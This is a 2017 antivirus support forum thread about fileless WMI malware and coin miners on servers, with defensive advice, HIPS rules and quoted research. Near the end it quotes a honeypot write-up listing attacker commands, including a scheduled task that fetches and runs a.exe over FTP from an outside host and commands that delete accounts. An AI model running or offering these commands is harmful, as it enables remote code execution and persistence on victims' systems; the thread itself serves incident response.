WMI Infections

[KAMIRAN Support 0]

Hi dear ESET moderators.

in these days we are facing a new threats family that use WMI and run under it's processes.

as these infections is file-less we try to stop them by deleting  ActiveScriptEventConsumer  class , But ESET did not detect them in memory.

We test Kaspersky Removal tools and it show that memory is infected with WMI infections and cure it.

I want to know how can we collect and send these samples to ESET lab and will ESET detect these infections in memories ?

 

We think that abusing WMI in these day may cause another ransomware to born.

 

 

[itman 1,746]

To begin with, WMI based malware requires a degree of sophistication not seen in your "run of the mill" malware. As such, it is usually reserved for advanced persistent threats. Below is an excerpt from a FireEye article about APT29 that I will refer to. Notable are the following:

1. To perform the WMI class registrations you referred to requires administrator privileges. If malware has acquired those, it can do much more than just manipulate WMI.

2. In the case of APT29, it used WMI to create a backdoor. Creating the backdoor itself was useless until it was utilized to execute a malicious PowerShell script/commands. On Win 10, Eset monitors Powershell script execution utilizing the AMSI interface.

Something you might consider is to set PowerShell to only run in "Constrained Language" mode as described in this TechNet article: https://blogs.technet.microsoft.com/kfalde/2017/01/20/pslockdownpolicy-and-powershell-constrained-language-mode/ . Doing so not only will "lockdown" WMI command use of PowerShell but also .Net likewise use of the same.

I also additionally monitor any Powershell startup execution with user created Eset HIPS rules.

WMI permanent event subscriptions can be used to trigger actions when specified conditions are met. Attackers often use this functionality to persist the execution of backdoors at system start up. Subscriptions consist of three core WMI classes: a Filter, a Consumer, and a FilterToConsumerBinding. WMI Consumers specify an action to be performed, including executing a command, running a script, adding an entry to a log, or sending an email. WMI Filters define conditions that will trigger a Consumer, including system startup, the execution of a program, the passing of a specified time and many others. A FilterToConsumerBinding associates Consumers to Filters. Creating a WMI permanent event subscription requires administrative privileges on a system.

We have observed APT29 use WMI to persist a backdoor and also store the PowerShell backdoor code. To store the code, APT29 created a new WMI class and added a text property to it in order to store a string value. APT29 wrote the encrypted and base64-encoded PowerShell backdoor code into that property.

APT29 then created a WMI event subscription in order to execute the backdoor. The subscription was configured to run a PowerShell command that read, decrypted, and executed the backdoor code directly from the new WMI property. This allowed them to install a persistent backdoor without leaving any artifacts on the system’s hard drive, outside of the WMI repository. This “fileless” backdoor methodology made the identification of the backdoor much more difficult using standard host analysis techniques.

Ref.: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html

Edited May 29, 2017 by itman

[KAMIRAN Support 0]

Yes as you mentioned Creating a WMI permanent event subscription requires administrative privileges on a system.

But in these cases we don't know how it can inject WMI database because all ports is secure , WINDOWS was updated and patched and RDP , 1433 and ... are secured.

in these cases, threat just try to download a file that ESET detect it and from these alert Administrators find that WMI is infected.

We are working in this case and we will inform if repeated.

The interesting think for us is how kaspersky can detect it as a memory infection and my question is " Can ESET detect such these WMI infection in memory and how can we send samples to ESET while no files are exist.

And any idea about how these infections will enter the administrator in inject to WMI ?

 

[itman 1,746]

18 hours ago, KAMIRAN Support said:

But in these cases we don't know how it can inject WMI database because all ports is secure , WINDOWS was updated and patched and RDP , 1433 and ... are secured.

Most APT's delivery is a well researched targeted phishing e-mail with links or containing macros to malicious attachments with trick wording to get the recipient to run the macro.

As in the case with APT29, I strongly suspect your WMI malware installed a backdoor and is using that for remote access into the server or targeted PC. Once a backdoor is installed, the malware can bypass most firewalls. Your safest thing do for remediation is to reformat and reinstall the OS on the targeted device. 

As far as Eset detecting the WMI malicious activity in memory, it is somewhat an academic exercise at this point. The WMI malware has established persistence and will reoccur at next boot most likely. Also suspect that Kaspersky's memory detection is similar to Eset's advanced memory scanning detection. That is, it is a post execution detection. As such, it is highly likely that malicious activity has occurred prior to detection.

-EDIT- BTW, what Kaspersky removal tools are you using? FYI - Eset also has stand-alone removal tools.

Edited May 30, 2017 by itman

[KAMIRAN Support 0]

Thank you Dear ITMAN

[itman 1,746]

4 hours ago, KAMIRAN Support said:

Thank you Dear ITMAN

Please post back if the wmiprvse.exe detected your malware starting one of the reference script engines.

[KAMIRAN Support 0]

17 hours ago, itman said:

Please post back if the wmiprvse.exe detected your malware starting one of the reference script engines.

As we said in previous post in this case we clean the infection by deleting  ActiveScriptEventConsumer  class using wbemtest.exe .

But in these case we must customize because it will download threats by

scrcons.exe

or may be run windows script using that process.

 

We will check them in next case that Happened .

 

[itman 1,746]

Here's a TrendMicro reference that may be of interest: http://la.trendmicro.com/media/misc/understanding-wmi-malware-research-paper-en.pdf

WMIScriptKids_consumer is an example of the active script event consumer instance
that TROJ_WMIGHOST.A creates on an affected system.

The script that has been inserted in this example uses the JS engine whose
corresponding text is specified in ScriptText. Based on our analysis of using JS, the
application wscript.exe is responsible for executing the malicious code. However, in the
case of WMI implementation, such a script is executed by the WMI Standard Event
Consumer - scripting application, which can be found in the WMI folder in %system32%/
wbem/scrcons.exe. This makes the script hard to detect since it uses a not-so-common
WMI application—scrcons.exe—rather than the traditional JS application—wscript.exe.

So that prior HIPS rule I posted which I since deleted should be modified for "Sources" - All Applications and "Targets" - C:\Windows\System32\wbem\scrcons.exe. This should detect any script startup from an WMI ActiveScriptEventConsumer event.

The Trend Micro article also gives detailed instructions on how to remove ActiveScriptEventConsumer event based malware.

Also, PowerShell and wscript scripts can directly interface with the Winmgmt service running under svchost.exe through the use of the "Get" winmgmts moniker ref.: https://technet.microsoft.com/en-us/library/ee198924.aspx . All that can be done would be to monitor in a HIPS rule, such as all script executables startup by any process.

Edited June 2, 2017 by itman

[itman 1,746]

Appears you used Kaspersky's stand alone Virus Removal Tool to detect the WMI malware in memory? By default it scans memory and critical system and user folders. You could have done the same using an Eset custom virus scan by selecting by checkmarking the memory scan option. If the malware still exists, you should try that to see if Eset detects it. I will comment more on why Eset's real time advanced memory scanner didn't detect the malware.

I also came across a more recent WMI malware article here: https://www.bleepingcomputer.com/news/security/yeabests-cc-a-fileless-infection-using-wmi-to-hijack-your-browser/ . This article used wbemtest to remove the offending ActiveScriptEventConsumer event which it appears you also used. The interesting thing about this article is it actually showed the malicious WMI script employed. Of note is the following code that is at the end of the script:

createobject("wscript.shell").run "cmd /c taskkill /f /im scrcons.exe", 0

which clearly shows scrcons.exe being used to run the WMI script via command shell execution. Note that this attack was not malware per se but rather a browser hijack.

Which gets back to the reason why AV software has issues detecting WMI based malware. For starters, WMI is a Windows process and as such is considered safe. Therefore anything run by it is not as a rule automatically scanned. If the Malwarebytes example was indeed scanned, there is nothing in the script itself that would have been detected by an existing at the time malware signature .

One thing Eset could do is take a look at is the monitoring of scripts run by scrcons.exe. Appears Zemana has this capability.

 

Edited June 3, 2017 by itman

[itman 1,746]

Here's a great Blackhat article about WMI malware: https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor-wp.pdf . I won't comment on it other than to note the recommended mitigations with no. 2 appearing to be the best option. Note that this would have to be thoroughly tested on any Win 10 device since I suspect it is sending telemetry data to Microsoft via remote WMI connection:

Mitigations

Aside from deploying defensive permanent WMI event subscriptions, there are several mitigations that may prevent some or all WMI attacks from occurring.

1. Consider disabling the WMI service. Consider your organizations need for remote WMI access. Do consider however any unintended side effects of stopping the WMI service. Windows has become increasingly reliant upon WMI and WinRM for management tasks.

2. Consider blocking the WMI protocol ports. If there is no legitimate need to use remote WMI, consider configuring DCOM to use a single port and then block that port. This is a more realistic mitigation over disabling the WMI service.

3. WMI, DCOM, and WinRM events are logged to the following event logs:

    a. Microsoft-Windows-WinRM/Operational
    b. Microsoft-Windows-WMI-Activity/Operational
    c. Microsoft-Windows-DistributedCOM

Setting Up a Fixed Port for WMI

WMI runs as part of a shared service host with ports assigned through DCOM by default. However, you can set up the WMI service to run as the only process in a separate host and specify a fixed port.

The following procedure is an automated setup to allow WMI to have a fixed port. The procedure uses the winmgmt command-line tool.

To set up a fixed port for WMI

1.At the command prompt, type: winmgmt -standalonehost

2.Stop the WMI service by typing the command: net stop "Windows Management Instrumentation", or use the short name of net stop winmgmt

3.Restart the WMI service again in a new service host by typing: net start "Windows Management Instrumentation" or net start winmgmt

4.Establish a new port number for the WMI service by typing: netsh firewall add portopening TCP 24158 WMIFixedPort

To undo any changes you make to WMI, type: winmgmt /sharedhost, then stop and start the winmgmt service again.

Ref.: https://msdn.microsoft.com/en-us/library/bb219447(v=vs.85).aspx

[KAMIRAN Support 0]

Thank You dear itman.

we will use these techniques in next infection that we find, and we will report the result.

right now we have not any infected server to check these solutions because we clean them manually.

 

[KAMIRAN Support 0]

Today we find another server that is infected by WMI infections and ESET did not detect it. We are working on samples with ESET virus lab and ESET support to see how ESET will Detect and clean it.

You can see the attached picture of this infections.

This WMI insfections is called "Fish" that KVRT detect it as WMIRun.a

If any one need samples i can share it via Private Messages.

 

 

Edited June 7, 2017 by KAMIRAN Support

[itman 1,746]

Interesting.

For starters, did you create an Eset HIPS rule to monitor the startup of scrcons.exe as I posted previously?

So that prior HIPS rule I posted which I since deleted should be modified for "Sources" - All Applications and "Targets" - C:\Windows\System32\wbem\scrcons.exe. This should detect any script startup from an WMI ActiveScriptEventConsumer event.

This should have detected the startup of the malicious ActiveScriptEventConsumer event script. 

[itman 1,746]

Also at this point, it is fair to state that something is gaining access to your network and creating something that can run with administrator privilege's which is required to create a WMI ActiveScriptEventConsumer event.

Also note that opening malicious Word phishing based e-mail outside of Protected mode and unwittingly enabling macros and the like could also be the source of the malware.

BTW - what caused the Eset malware detection? When you attempted to open the ActiveScriptEventConsumer event in Autoruns?

-EDIT- Also did you take note of the created ActiveScriptEventConsumer event name? Appears someone is sending a message there. Did you recently terminate someone in the IT department? Someone who had access to the network and could have installed something with admin privileges?

Edited June 6, 2017 by itman

[KAMIRAN Support 0]

No this threat is popular because we see this variant in many servers.

Yes We can stop it with HIPS rules but we are working to help ESET to detect it.

Right now no detection. Just When an EXE file is downloaded by Scrone.exe ESET will detect it. But we want to add this to memory detection , S.th like kaspersky.

[KAMIRAN Support 0]

Right now we find 6 new threats in this server that ESET lab detect them today :

item.dat - Win32/Agent.WTF trojan
Autorun_Script.txt - JS/Agent.NUN trojan
Chr0me.exe - Win64/BitCoinMiner.AX application
ms697A.exe - Win32/Agent.YWQ trojan
mscorsvw_v3.0.0.6.1.exe - Win32/Agent.YWQ trojan
regedit32.vbs - VBS/CoinMiner.DU trojan

 

Autorun_Script.txt is containing the scrips in ActiveScriptEventConsumer.

We will check the result in infected servers.

[KAMIRAN Support 0]

20 hours ago, itman said:

Interesting.

For starters, did you create an Eset HIPS rule to monitor the startup of scrcons.exe as I posted previously?

So that prior HIPS rule I posted which I since deleted should be modified for "Sources" - All Applications and "Targets" - C:\Windows\System32\wbem\scrcons.exe. This should detect any script startup from an WMI ActiveScriptEventConsumer event.

This should have detected the startup of the malicious ActiveScriptEventConsumer event script. 

Yes , Even We can block them by HIPS.

This is the HIPS rules when Svchost.exe run scrcons.exe :

Time;Application;Operation;Target;Action;Rule;Additional information
6/7/2017 3:58:11 AM;C:\Windows\System32\svchost.exe;Start new application;C:\Windows\System32\wbem\scrcons.exe;blocked;Block Scrones;

look at KVRT new detection for this type of threats ( Picture that is attached )

[itman 1,746]

8 hours ago, KAMIRAN Support said:

Right now we find 6 new threats in this server that ESET lab detect them today :

item.dat - Win32/Agent.WTF trojan
Autorun_Script.txt - JS/Agent.NUN trojan
Chr0me.exe - Win64/BitCoinMiner.AX application
ms697A.exe - Win32/Agent.YWQ trojan
mscorsvw_v3.0.0.6.1.exe - Win32/Agent.YWQ trojan
regedit32.vbs - VBS/CoinMiner.DU trojan

 

Autorun_Script.txt is containing the scrips in ActiveScriptEventConsumer.

We will check the result in infected servers.

This is indicative of a Bitcoin Miner virus. Must say, I believe this is the first time I have seen WMI used as part of it.

Also in your case, the WMI malware is secondary malware. Something is entering your network and installing primary malware with admin privileges. Once it has those privileges, it can do pretty much what it wants including creating a WMI consumer event. You need to perform a security audit on your network perimeter looking for open ports and susceptible protocols. At the top of the list would be RDP and remote RPC via SMB access.

-EDIT- BTW - I should have asked this initially. Are all your servers and endpoints for that matter fully patched? Especially the patch in regards to the recent NSA's EternalBlue and DoublePulsar exploits?

Edited June 7, 2017 by itman

[KAMIRAN Support 0]

Yes All Security patches are installed, these malware may be installed before these security activities.

As you said as we find a coinMiner in This server may be it used EthernalBlue.

We are working on this case ...

[KAMIRAN Support 0]

Still KVRT can detect this type of infections But ESET cann't.

Memory Scan log :

Log
Scan Log
Version of virus signature database: 15549 (20170608)
Date: 6/8/2017  Time: 3:03:34 AM
Scanned disks, folders and files: Operating memory
Operating memory » C:\Windows\System32\apisetschema.dll - is OK
Operating memory » C:\Users\Administrator\Desktop\tools\Autoruns\autoruns.exe - is OK
Operating memory » C:\Windows\System32\msyuv.dll - is OK
Operating memory » C:\Windows\System32\userinit.exe - is OK
Operating memory » C:\Windows\System32\WcsPlugInService.dll - is OK
Operating memory » C:\Windows\SysWOW64\en-US\sechost.dll.mui - is OK
Operating memory » C:\Windows\SysWOW64\en-US\shlwapi.dll.mui - is OK
Operating memory » C:\Windows\SysWOW64\oleacc.dll - is OK
Operating memory » C:\Windows\SysWOW64\ieframe.dll - is OK
Operating memory » C:\Windows\SysWOW64\shdocvw.dll - is OK
Operating memory » C:\Windows\SysWOW64\WindowsCodecs.dll - is OK
Operating memory » C:\Windows\SysWOW64\propsys.dll - is OK
Operating memory » C:\Windows\SysWOW64\xmllite.dll - is OK
Operating memory » C:\Windows\SysWOW64\uxtheme.dll - is OK
Operating memory » C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll - is OK
Operating memory » C:\Windows\SysWOW64\taskschd.dll - is OK
Operating memory » C:\Windows\SysWOW64\ntdsapi.dll - is OK
Operating memory » C:\Windows\SysWOW64\wbem\fastprox.dll - is OK
Operating memory » C:\Windows\SysWOW64\wbem\wbemsvc.dll - is OK
Operating memory » C:\Windows\SysWOW64\wbemcomn.dll - is OK
Operating memory » C:\Windows\SysWOW64\wbem\wbemprox.dll - is OK
Operating memory » C:\Windows\SysWOW64\rsaenh.dll - is OK
Operating memory » C:\Windows\SysWOW64\cryptsp.dll - is OK
Operating memory » C:\Windows\SysWOW64\RpcRtRemote.dll - is OK
Operating memory » C:\Windows\SysWOW64\apphelp.dll - is OK
Operating memory » C:\Windows\SysWOW64\ntmarta.dll - is OK
Operating memory » C:\Windows\SysWOW64\version.dll - is OK
Operating memory » C:\Windows\SysWOW64\profapi.dll - is OK
Operating memory » C:\Windows\System32\wow64cpu.dll - is OK
Operating memory » C:\Windows\System32\wow64win.dll - is OK
Operating memory » C:\Windows\System32\wow64.dll - is OK
Operating memory » C:\Windows\SysWOW64\cryptbase.dll - is OK
Operating memory » C:\Windows\SysWOW64\sspicli.dll - is OK
Operating memory » C:\Windows\SysWOW64\advapi32.dll - is OK
Operating memory » C:\Windows\SysWOW64\sechost.dll - is OK
Operating memory » C:\Windows\SysWOW64\msasn1.dll - is OK
Operating memory » C:\Windows\SysWOW64\comdlg32.dll - is OK
Operating memory » C:\Windows\SysWOW64\crypt32.dll - is OK
Operating memory » C:\Windows\SysWOW64\KernelBase.dll - is OK
Operating memory » C:\Windows\SysWOW64\wintrust.dll - is OK
Operating memory » C:\Windows\SysWOW64\nsi.dll - is OK
Operating memory » C:\Windows\SysWOW64\ws2_32.dll - is OK
Operating memory » C:\Windows\SysWOW64\psapi.dll - is OK
Operating memory » C:\Windows\SysWOW64\shlwapi.dll - is OK
Operating memory » C:\Windows\SysWOW64\rpcrt4.dll - is OK
Operating memory » C:\Windows\SysWOW64\user32.dll - is OK
Operating memory » C:\Windows\SysWOW64\usp10.dll - is OK
Operating memory » C:\Windows\SysWOW64\msvcrt.dll - is OK
Operating memory » C:\Windows\SysWOW64\setupapi.dll - is OK
Operating memory » C:\Windows\SysWOW64\gdi32.dll - is OK
Operating memory » C:\Windows\SysWOW64\Wldap32.dll - is OK
Operating memory » C:\Windows\SysWOW64\devobj.dll - is OK
Operating memory » C:\Windows\SysWOW64\msctf.dll - is OK
Operating memory » C:\Windows\SysWOW64\iertutil.dll - is OK
Operating memory » C:\Windows\SysWOW64\cfgmgr32.dll - is OK
Operating memory » C:\Windows\SysWOW64\kernel32.dll - is OK
Operating memory » C:\Windows\SysWOW64\clbcatq.dll - is OK
Operating memory » C:\Windows\SysWOW64\shell32.dll - is OK
Operating memory » C:\Windows\SysWOW64\oleaut32.dll - is OK
Operating memory » C:\Windows\SysWOW64\ole32.dll - is OK
Operating memory » C:\Windows\SysWOW64\imm32.dll - is OK
Operating memory » C:\Windows\System32\ntdll.dll - is OK
Operating memory » C:\Windows\SysWOW64\lpk.dll - is OK
Operating memory » C:\Windows\SysWOW64\ntdll.dll - is OK
Number of scanned objects: 64
Number of threats found: 0
Time of completion: 3:03:37 AM  Total scanning time: 3 sec (00:00:03)

 

KVRT scan result is attached .

Any idea ?

We must use manual cleaning in this kind of threats ?

 

[itman 1,746]

I came across an article on a Bitcoin Miner that has a lot of similarities to what is "nailing" your servers. Of note is this malware variant used WMI to maintain persistence. 

So now let’s talk about what is actually new. As you may have read from Proofpoint’s excellent report, coin mining has been happening. They document one campaign, however in the wild I’ve seen at least 4 different coin mining campaigns. They appear so often that I’ve kinda.. not looked at them much.

Remote access Trojans

From EternalPot, Chinese RAT delivered via EternalBlue exploit

One of the first things I saw was a Chinese IP address deliver a commercially retailed Remote Access Trojan via SMB. They use a technique discovered by @SubTee on Twitter — using regsvr32 to execute code via scrobj.dll. This is an interesting one as it can bypass Application Whitelisting, as chances are extremely high that Microsoft’s regsvr32 tool is trusted by your security product, as is the Microsoft DLL file.

In real world Nodes, only EMSISoft’s Anti-Malware product actually flagged misuse of scrobj.dll as suspect:

Aside from using that technique, they also use things like WMI to retain access. What follows is a spam of commands they execute to get access, you can keep scrolling:

c:\windows\system32\cmd.exe /c @Wmic Process Where "Name='winlogon.exe' And ExecutablePath='C:\Windows\system\winlogon.exe'" Call Terminate &del C:\Windows\system\winlogon.exe
c:\windows\system32\cmd.exe /c schtasks /create /tn "Mysa" /tr "cmd /c echo open down.5b6b7b.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe" /ru "system"  /sc onstart /F
c:\windows\system32\cmd.exe /c net1 start schedule&net1 user asps.xnet /del
c:\windows\system32\cmd.exe /c net1 user IISUSER_ACCOUNTXX /del&net1 user IUSR_ADMIN /del&net1 user snt0454 /del&taskkill /f /im Logo1_.exe&del c:\windows\Logo1_.exe&taskkill /f /im Update64.exe&del
c:\windows\dell\Update64.exe
c:\windows\system32\cmd.exe /c taskkill /f /im misiai.exe&del misiai.exe& del :\windows\RichDllt.dll&net1 user asp.net /del&taskkill /f /im winhost.exe&del
c:\windows\winhost.exe&del c:\windows\updat.exe
c:\windows\system32\cmd.exe /c taskkill /f /im netcore.exe& del :\windows\netcore.exe&taskkill /f /im ygwmgo.exe&del
c:\windows\ygwmgo.exe&net1 user aspnet /del&net1 user LOCAL_USER /del

The amazing thing here is the binaries were first uploaded to VirusTotal back in early April, before the Shadow Brokers’ tools were released (however Shadow Brokers had been teasing them since late 2016). Cyphort also flag distribution by this threat actor back in early May — before WannaCry was released.

The attackers use Windows Firewall and IPsec to block inbound port 445 (the IPsec trick is something new to me). This prevents others remotely owning the same box.

It does serve as a nice proof of concept of EternalPot, because although the attackers block SMB I was able to recover the Nodes by just restoring from snapshot.

Ref: https://doublepulsar.com/eternalpot-lessons-from-building-a-global-nation-state-smb-exploit-honeypot-infrastructure-3f2a0b064ffe

-EDIT- If indeed you are infected by EternalPot, you can stop the inbound/outbound traffic by creating a like block firewall rules for both C:\Windows\System32\regsvr32.exe and C:\Windows\SysWOW64\regsvr32.exe.

Edited June 8, 2017 by itman

[KAMIRAN Support 0]

Yes you are right, We saw firewall rules that block 445 in the infected servers !

It seems that they enter the server using eternalBlue and then block 445 to avoiding others enter the server !

We are working with ESET support to detect this WMIrun.a in memory sacanner.

Right now no success.

I am not sure that eset can detect WMIRun.A in memory. Are you agree with me ?

[KAMIRAN Support 0]

We see s.th new , Memory scanner scan nothing . Look at the screen shot.

Any Idea ?

Why Non of ESET moderators post about this kind of fileless infections ?

 

[itman 1,746]

EternalBlue is a kernel level exploit that can bypass x64 PatchGuard on all Windows versions other than Win 10 1607(AU) and 1703(CE). From the kernel, it can inject the memory of other processes at will.

In the case of the WannaCry ransomware outbreak, EternalBlue was deployed with another exploit, DoublePulsar, to inject a .dll into the memory of lsass.exe.

It appears EternalPot is using a different strategy by deploying Casey Smith's POC exploit that uses remote execution of regsvr32.exe on a compromised device where admin access has been achieved to inject lsass.exe. Note this exploit is also an AppLocker bypass if you are indeed deploying AppLocker.

As far as to why AV manual scan memory scanner is not detecting post infection malware remains to be determined. Again it is really to late at this point since the process memory modification has occurred and the malware already executing.

Edited June 9, 2017 by itman

[KAMIRAN Support 0]

We are working on this case for detection of WMIRun.A ( In memory scan ) with ESET Virus Lab.